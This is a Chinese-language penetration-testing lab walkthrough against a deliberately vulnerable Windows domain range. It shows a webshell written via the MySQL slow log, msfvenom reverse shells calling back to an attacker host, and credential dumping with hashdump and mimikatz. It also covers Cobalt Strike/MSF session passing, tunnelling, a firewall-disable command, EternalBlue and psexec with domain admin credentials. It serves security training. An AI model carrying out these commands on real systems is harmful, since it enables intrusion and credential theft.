说明:关于该复现中的问题欢迎vx交流:Bestboysendit
目录
一、环境配置:
二、内网getshell
3-(1)phpmyadmin
3-(2)备份文件:
三、内网-连接
1、基于MSF
2、基于Cobalt Strike
3、CS与kali联动
(1)CS下的会话传给MSF
(2)MSF下的会话传给CS
四、内网-横向
4.1 搭建隧道
4.1.1 使用CS搭建隧道
4.1.2 使用msf搭建隧道
4.2内网信息收集
五、内网攻击
1、MS08-067
2、SMB远程桌面口令猜测
3、RPC DCOM 服务漏洞
4、ms17-010
psexec攻击
域hash传递攻击
2008:10.10.10.3 域控主机
win7:10.10.10.2 host-only+nat 192.168.3.11
2k3:10.10.10.4 域控客户端
win7开启phpstudy,下载的靶机桌面上没有快捷方式,用everything搜索一下。
1、nmap开启扫描:
经排查144的地址为所需地址,且80端口是开启的
nmap 192.168.3.0/24
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-25 09:01 EDT
Nmap scan report for 192.168.3.144
Host is up (0.010s latency).
Not shown: 989 closed ports
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
1025/tcp open NFS-or-IIS
1026/tcp open LSA-or-nterm
1027/tcp open IIS
1028/tcp open unknown
1029/tcp open ms-lsa
1030/tcp open iad1
3306/tcp open mysql
Nmap done: 256 IP addresses (4 hosts up) scanned in 4.73 seconds
2、访问192.168.3.144的80端口:
phpinfo() 页面,且留有绝对路径,管理邮箱:
尝试使用file_into或日志写入webshell。
secure_file_priv的值为“空”时允许任意文件写入,为“null”时不允许任何写入。该值也可以为路径;
show global variables like "%secure%";
3-(1)phpmyadmin
可以登录:root/root
以下命令都是通过phpmyadmin界面执行
尝试通过慢日志写入shell:
①查询慢日志超时时间:10s
②set global slow_query_log = 1; 开启可更改
③set global slow_query_log_file = “c:\phpstudy\WWW\shell.php”;
修改日志的地址,
确认修改情况:
④注入:
select ';' or sleep(11);
⑥写入一句话:
select '' or sleep(11);
⑦菜刀连接:
⑤文件路径:…要根据之前所给的beifen.rar来确定位置:
思路:看一下与写入的shell.php模板文件在一起的其他文件名,然后去beifen.rar查找位置:
⑥连接:
1、基于MSF
01使用msfvenom生成payload文件
地址:kali地址,端口,随便写一个不冲突的
msf6 > msfvenom -p windows/meterpreter_reverse_tcp lhost=192.168.3.136 lport=1234 -f exe -o eye2.exe
[*] exec: msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.3.144 lport=6666 -f raw > eye.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder specified, outputting raw payload
Payload size: 1114 bytes
msf6 > ls
[*] exec: ls
arget ctf Documents eye2.exe Pictures Templates
asd.exe Desktop Downloads Music Public Videos
msf6 >
msf6 > pwd
[*] exec: pwd
/home/buna
msf6 >
03使用handler模块接收反弹模块,在1234端口上进行监听,访问shell.php,连接成功
下面地址也应该是kali的地址
04上线:
05提权:
这里直接是administrator,所有可以直接提到system,
meterpreter > getuid
Server username: GOD\Administrator
meterpreter >
meterpreter >
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter >
meterpreter > getuid
Server username: NT AUTH
ORITY\SYSTEM
meterpreter >
06获取密码:
Windows系统下的hash密码格式为:
用户名称:RID:LM-HASH值:NT-HASH值
NT-HASH hash生产方式:
eg:用户密码为test123
转换成十六进制的格式为74657374313233
转换成Unicode格式为7400650073007400310032003300
对字符串7400650073007400310032003300作MD4加密,结果为c5a237b7e9d8e708d8436b6148a25fa1
meterpreter > run hashdump
[!] Meterpreter scripts are deprecated. Try post/windows/gather/smart_hashdump.
[!] Example: run post/windows/gather/smart_hashdump OPTION=value [...]
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY fd4639f4e27c79683ae9fee56b44393f...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hints...
No users with password hints on this system
[*] Dumping password hashes...
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
liukaifeng01:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
meterpreter >
04mimikatz
加载 mimikatz 模块,加载模块前需要先将meterpreter迁移到64位的进程,该进程也需要是system权限:
ps
migrate PID
load mimikatz
mimikatz_command -f sekurlsa::searchPasswords
meterpreter > load mimikatz
[!] The "mimikatz" extension has been replaced by "kiwi". Please use this in future.
Loading extension kiwi...
.#####. mimikatz 2.2.0 20191125 (x86/windows)
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
[!] Loaded x86 Kiwi on an x64 architecture.
Success.
meterpreter >
05 kiwi
load wiki
creds_all
这里不是很成功。。
11、远程桌面链接
06开启远程桌面:
run post/windows/manage/enable_rdp
执行cs服务端程序,开启服务,ip是kali的ip,密码是123
重新打开一个终端,在kali上执行cs客户端程序,用户名随意,密码123
创建一个监听器,ip就是kali的ip
会生成一条命令,使用菜刀连接webshell,打开虚拟终端,输入这条命令
比如屏幕截图,右击连接->Explore->Screenshot,再点击上面的图片小图片进入屏幕截图视图(点击View-Screenshot也行),就能看到目标的屏幕截图了
使用 hashdump 和 logonpasswords 读内存和注册表密码,在 Credentials 模块下查看
2、使用mimikatz.exe程序
mimikatz.exe “privilege::debug” “log” “sekurlsa::logonpasswords” exit
11、远程桌面链接
略
3、CS与kali联动
(1)CS下的会话传给MSF
使用msf监听模块,ip就是kali的ip,端口就是监听的端口,payload要和cs相同,然后运行,开始监听
①首先cobaltstrike创建监听器:
②在msf控制台执行如下操作:
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set DisablePayloadHandler true #payload_inject执行之后会在本地产生一个新的handler,设置为true表示不重复生成
set lhost xxxx #公网vps ip
set lport 14444 #监听端口
set session 1 #派发session id
exploit
③得到shell:
点击要连接的会话->Spawn->选择上面的监听
(2)MSF下的会话传给CS
msf:
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set DisablePayloadHandler true #payload_inject执行之后会在本地产生一个新的handler,设置为true表示不重复生成
set lhost xxxx #公网vps ip
set lport 14444 #监听端口
set session 1 #派发session id
exploit
4.1 搭建隧道
4.1.1 使用CS搭建隧道
前提是仅通过CS拿到会话或者MSF拿到会话派送给CS
cs配置:
打开会话,输入socks 1234
进入代理视图,选中会话点击Tunnel,复制生成的文字
msf配置:
粘贴cs生成的命令 setg Proxies socks4:127.0.0.1:1234
setg ReverseAllowProxy true 允许反向代理
4.1.2 使用msf搭建隧道
该部分可直接跳过到4.2部分,因为这里失败了
横向渗透前,先将该web服务器配置为代理服务器当作跳板机。
msf+proxychains
可用msf直接搭建sock隧道:
进入session,自动创建路由:
run post/multi/manage/autoroute
meterpreter > run post/multi/manage/autoroute
[!] SESSION may not be compatible with this module.
[*] Running module against STU1
[*] Searching for subnets to autoroute.
[+] Route added to subnet 10.10.10.0/255.255.255.0 from host's routing table.
[+] Route added to subnet 169.254.0.0/255.255.0.0 from host's routing table.
[+] Route added to subnet 192.168.3.0/255.255.255.0 from host's routing table.
meterpreter >
查看路由:
run autoroute -p
meterpreter > run autoroute -p
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
Active Routing Table
====================
Subnet Netmask Gateway
------ ------- -------
10.10.10.0 255.255.255.0 Session 2
169.254.0.0 255.255.0.0 Session 2
192.168.3.0 255.255.255.0 Session 2
meterpreter >
退到上层,使用socks4a进行代理,端口与proxychains里设置一致即可:
因为kali2021没有sock4a选项,故停止继续
background
use auxiliary/server/socks4a
run
在这里插入图片描述
run后 可用jobs查看任务是否执行:
jobs
在这里插入图片
配置proxychains:
vi /etc/proxychains.conf
在这里插入图片描述
全局代理测试:
在这里插入图片描述
浏览器代理测试:
在这里插入图片描述
cobaltstrike + proxifer
cs开启socks代理:
在这里插入图片描述
自定义端口:
在这里插入图片描述
proxifer设置:
在这里插入图片描述
测试:
在这里插入图片描述
4.2内网信息收集
该部分承接4.1.1
使用msf的扫描模块扫描内网主机
使用msf内置模块进行存活主机探测
auxiliary/scanner/discovery/udp_sweep #基于udp协议发现内网存活主机
auxiliary/scanner/discovery/udp_probe #基于udp协议发现内网存活主机
auxiliary/scanner/netbios/nbname #基于netbios协议发现内网存活主机
内网主机端口扫描
proxychains nmap -Pn -sT 172.20.10.10
auxiliary/scanner/portscan/tcp #基于tcp进行端口扫描(默认扫描1-10000)
内网主机服务探测
auxiliary/scanner/ftp/ftp_version #发现内网ftp服务,基于默认21端口
auxiliary/scanner/ssh/ssh_version #发现内网ssh服务,基于默认22端口
auxiliary/scanner/telnet/telnet_version #发现内网telnet服务,基于默认23端口
auxiliary/scanner/dns/dns_amp #发现dns服务,基于默认53端口
auxiliary/scanner/http/http_version #发现内网http服务,基于默认80端口
auxiliary/scanner/http/title #探测内网http服务的标题
auxiliary/scanner/smb/smb_version #发现内网smb服务,基于默认的445端口
auxiliary/scanner/mssql/mssql_schemadump #发现内网SQLServer服务,基于默认的1433端口
auxiliary/scanner/oracle/oracle_hashdump #发现内网oracle服务,基于默认的1521端口
auxiliary/scanner/mysql/mysql_version #发现内网mysql服务,基于默认3306端口
auxiliary/scanner/rdp/rdp_scanner #发现内网RDP服务,基于默认3389端口
auxiliary/scanner/redis/redis_server #发现内网Redis服务,基于默认6379端口
auxiliary/scanner/db2/db2_version #探测内网的db2服务,基于默认的50000端口
auxiliary/scanner/netbios/nbname #探测内网主机的netbios名字
下面内容部分因为需要msf的会话,没有复现。环境中内网网段为10.10.10.0 案例中给的192.168.52.0
路由信息
添加路由,使得 MSF 能够通过 Win7 路由转发访问192.168.52.0 网段
关闭防火墙,再使用nmap扫描
netsh advfirewall set allprofiles state off
使用nmap的vuln漏洞扫描脚本进行扫描
Nmap scan report for 10.10.10.2
Host is up (0.00067s latency).
Not shown: 989 filtered ports
PORT STATE SERVICE
80/tcp open http
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=10.10.10.2
| Found the following possible CSRF vulnerabilities:
|
| Path: http://10.10.10.2:80/
| Form id:
| Form action: /l.php#bottom
|
| Path: http://10.10.10.2:80/l.php
| Form id:
|_ Form action: /l.php#bottom
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum:
| /phpinfo.php: Possible information file
| /phpmyadmin/: phpMyAdmin
| /phpMyAdmin/: phpMyAdmin
|_ /PHPMyAdmin/: phpMyAdmin
| http-phpself-xss:
| VULNERABLE:
| Unsafe use of $_SERVER["PHP_SELF"] in PHP files
| State: VULNERABLE (Exploitable)
| PHP files are not handling safely the variable $_SERVER["PHP_SELF"] causing Reflected Cross Site Scripting vulnerabilities.
|
| Extra information:
|
| Vulnerable files with proof of concept:
| http://10.10.10.2/l.php/%27%22/%3E%3Cscript%3Ealert(1)%3C/script%3E
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=10.10.10.2
| References:
| https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
|_ http://php.net/manual/en/reserved.variables.server.php
| http-sql-injection:
| Possible sqli for queries:
| http://10.10.10.2:80/l.php?act=Function%27%20OR%20sqlspider
| http://10.10.10.2:80/l.php?act=phpinfo%27%20OR%20sqlspider
| http://10.10.10.2:80/l.php?act=Function%27%20OR%20sqlspider
| http://10.10.10.2:80/l.php?act=phpinfo%27%20OR%20sqlspider
| http://10.10.10.2:80/l.php?=PHPE9568F35-D428-11d2-A769-00AA001ACF42%27%20OR%20sqlspider
| http://10.10.10.2:80/l.php?=PHPE9568F34-D428-11d2-A769-00AA001ACF42%27%20OR%20sqlspider
| http://10.10.10.2:80/l.php?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000%27%20OR%20sqlspider
| Possible sqli for forms:
| Form at path: /, form's action: /l.php#bottom. Fields that might be vulnerable:
| host
| port
| login
| funName
| Form at path: /l.php, form's action: /l.php#bottom. Fields that might be vulnerable:
| host
| port
| login
|_ funName
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-trace: TRACE is enabled
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
1025/tcp open NFS-or-IIS
1026/tcp open LSA-or-nterm
1027/tcp open IIS
1029/tcp open ms-lsa
1030/tcp open iad1
3306/tcp open mysql
|_mysql-vuln-cve2012-2122: ERROR: Script execution failed (use -d to debug)
|_sslv2-drown:
3389/tcp open ms-wbt-server
| rdp-vuln-ms12-020:
| VULNERABLE:
| MS12-020 Remote Desktop Protocol Denial Of Service Vulnerability
| State: VULNERABLE
| IDs: CVE:CVE-2012-0152
| Risk factor: Medium CVSSv2: 4.3 (MEDIUM) (AV:N/AC:M/Au:N/C:N/I:N/A:P)
| Remote Desktop Protocol vulnerability that could allow remote attackers to cause a denial of service.
|
| Disclosure date: 2012-03-13
| References:
| http://technet.microsoft.com/en-us/security/bulletin/ms12-020
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0152
|
| MS12-020 Remote Desktop Protocol Remote Code Execution Vulnerability
| State: VULNERABLE
| IDs: CVE:CVE-2012-0002
| Risk factor: High CVSSv2: 9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)
| Remote Desktop Protocol vulnerability that could allow remote attackers to execute arbitrary code on the targeted system.
|
| Disclosure date: 2012-03-13
| References:
| http://technet.microsoft.com/en-us/security/bulletin/ms12-020
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0002
|_ssl-ccs-injection: No reply from server (TIMEOUT)
|_sslv2-drown:
Host script results:
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: SMB: Failed to receive bytes: TIMEOUT
Nmap done: 1 IP address (1 host up) scanned in 140.66 seconds
使用msf辅助模块进行扫描,查看是否存在ms17-010漏洞
在cs上使用目标机器上的nmap,对内网其他主机进行扫描
注:有时beacon连接会执行不了命令,或者连接断开,或者制作不了scripted web delivery这时要重启一下cs服务器。
主机10.10.10.4信息
beacon> shell nmap --script=vuln 10.10.10.4
[*] Tasked beacon to run: nmap --script=vuln 10.10.10.4
[+] host called home, sent: 60 bytes
[+] received output:
Starting Nmap 7.80 ( https://nmap.org ) at 2021-08-28 11:30 ?D1ú±ê×?ê±??
[+] received output:
Nmap scan report for 10.10.10.4
Host is up (0.00s latency).
Not shown: 987 closed ports
PORT STATE SERVICE
21/tcp open ftp
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
|_sslv2-drown:
135/tcp open msrpc
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
139/tcp open netbios-ssn
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
445/tcp open microsoft-ds
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
777/tcp open multiling-http
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
1025/tcp open NFS-or-IIS
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
1026/tcp open LSA-or-nterm
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
1038/tcp open mtqp
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
1044/tcp open dcutility
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
6002/tcp open X11:2
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
7001/tcp open afs3-callback
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
7002/tcp open afs3-prserver
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
8099/tcp open unknown
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
MAC Address: 00:0C:29:11:06:63 (VMware)
Host script results:
| smb-vuln-ms08-067:
| VULNERABLE:
| Microsoft Windows system vulnerable to remote code execution (MS08-067)
| State: VULNERABLE
| IDs: CVE:CVE-2008-4250
| The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
| Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
| code via a crafted RPC request that triggers the overflow during path canonicalization.
|
| Disclosure date: 2008-10-23
| References:
| https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: NT_STATUS_OBJECT_NAME_NOT_FOUND
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
| https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_ https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
Nmap done: 1 IP address (1 host up) scanned in 127.98 seconds
主机10.10.10.3信息
msf6 > nmap --script=vuln 10.10.10.3
[*] exec: nmap --script=vuln 10.10.10.3
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-27 23:30 EDT
Nmap scan report for 10.10.10.3
Host is up (0.0011s latency).
Not shown: 985 filtered ports
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
|_http-aspnet-debug: ERROR: Script execution failed (use -d to debug)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-vuln-cve2014-3704: ERROR: Script execution failed (use -d to debug)
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
|_sslv2-drown:
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
|_sslv2-drown:
49154/tcp open unknown
49155/tcp open unknown
49157/tcp open unknown
49158/tcp open unknown
Host script results:
|_samba-vuln-cve-2012-1182: Could not negotiate a connection:SMB: Failed to receive bytes: EOF
| smb-vuln-cve2009-3103:
| VULNERABLE:
| SMBv2 exploit (CVE-2009-3103, Microsoft Security Advisory 975497)
| State: VULNERABLE
| IDs: CVE:CVE-2009-3103
| Array index error in the SMBv2 protocol implementation in srv2.sys in Microsoft Windows Vista Gold, SP1, and SP2,
| Windows Server 2008 Gold and SP2, and Windows 7 RC allows remote attackers to execute arbitrary code or cause a
| denial of service (system crash) via an & (ampersand) character in a Process ID High header field in a NEGOTIATE
| PROTOCOL REQUEST packet, which triggers an attempted dereference of an out-of-bounds memory location,
| aka "SMBv2 Negotiation Vulnerability."
|
| Disclosure date: 2009-09-08
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103
|_ http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: Could not negotiate a connection:SMB: Failed to receive bytes: EOF
Nmap done: 1 IP address (1 host up) scanned in 62.75 seconds
1、MS08-067
使用cs将msf带入内网后,使用ms08-067攻击模块攻击内网主机,注意使用的是反向代理,所以这里payload需要使用正向
2、SMB远程桌面口令猜测
使用msf的smb口令猜测模块,配置参数用于smb口令爆破
3、RPC DCOM 服务漏洞
漏洞原理:
微软修改 dcerpc 框架后形成自己的 RPC 框架来处理进程间的通信。微软的 RPC 框架在处理 TCP/IP 信息交换过程中存在的畸形消息时,未正确处理,导致缓冲区溢出漏洞;
此漏洞影响使用 RPC 框架的 DCOM 接口,DCOM 接口用来处理客户端机器发送给服务器的 DCOM 对象激活请求,如 UNC 路径
漏洞利用:
4、ms17-010
```handlebars
msf6 > use exploit/windows/smb/ms17_010_eternalblue
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 10.10.10.4
rhosts => 10.10.10.4
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/bind_tcp
payload => windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
Module options (exploit/windows/smb/ms17_010_eternalblue):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 10.10.10.4 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
RPORT 445 yes The target port (TCP)
SMBDomain . no (Optional) The Windows domain to use for authentication
SMBPass no (Optional) The password for the specified username
SMBUser no (Optional) The username to authenticate as
VERIFY_ARCH true yes Check if remote architecture matches exploit Target.
VERIFY_TARGET true yes Check if remote OS matches exploit Target.
Payload options (windows/x64/meterpreter/bind_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted
: '', seh, thread, process, none)
LPORT 4444 yes The listen port
RHOST 10.10.10.4 no The target address
Exploit target:
Id Name
-- ----
0 Windows 7 and Server 2008 R2 (x64) All Service Packs
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
5、psexec攻击
内网中,最总要的还是域管理员账号,有了域管理员账号后,可以使用该域管理员账号密码利用 psexec 登录域内任何一台开启了admin$共享(该共享默认开启) 的主机。
下载地址:
pstools:https://download.sysinternals.com/files/PSTools.zip
psexec.exe \10.10.10.4 -u god\administrator -p hongrisec@2019 cmd
这里没开启
PS F:\security\内网\PSTools> .\PsExec.exe \\10.10.10.4 -u god\administrator -p hongrisec@2018 cmd
PsExec v2.34 - Execute processes remotely
Copyright (C) 2001-2021 Mark Russinovich
Sysinternals - www.sysinternals.com
Couldn't access 10.10.10.4:
找不到网络路径。
Make sure that the default admin$ share is enabled on 10.10.10.4.
PS F:\侠之大者,为国为民\内网\PSTools>
1、整体比较简单,漏洞都可以用工具扫出来,只要工具用的到位!
2、可以作为整体流程演示:从外网发现漏洞——getshell——拿到会话——内网信息收集——内网攻击的流程都有!
3、msf+cs=yyds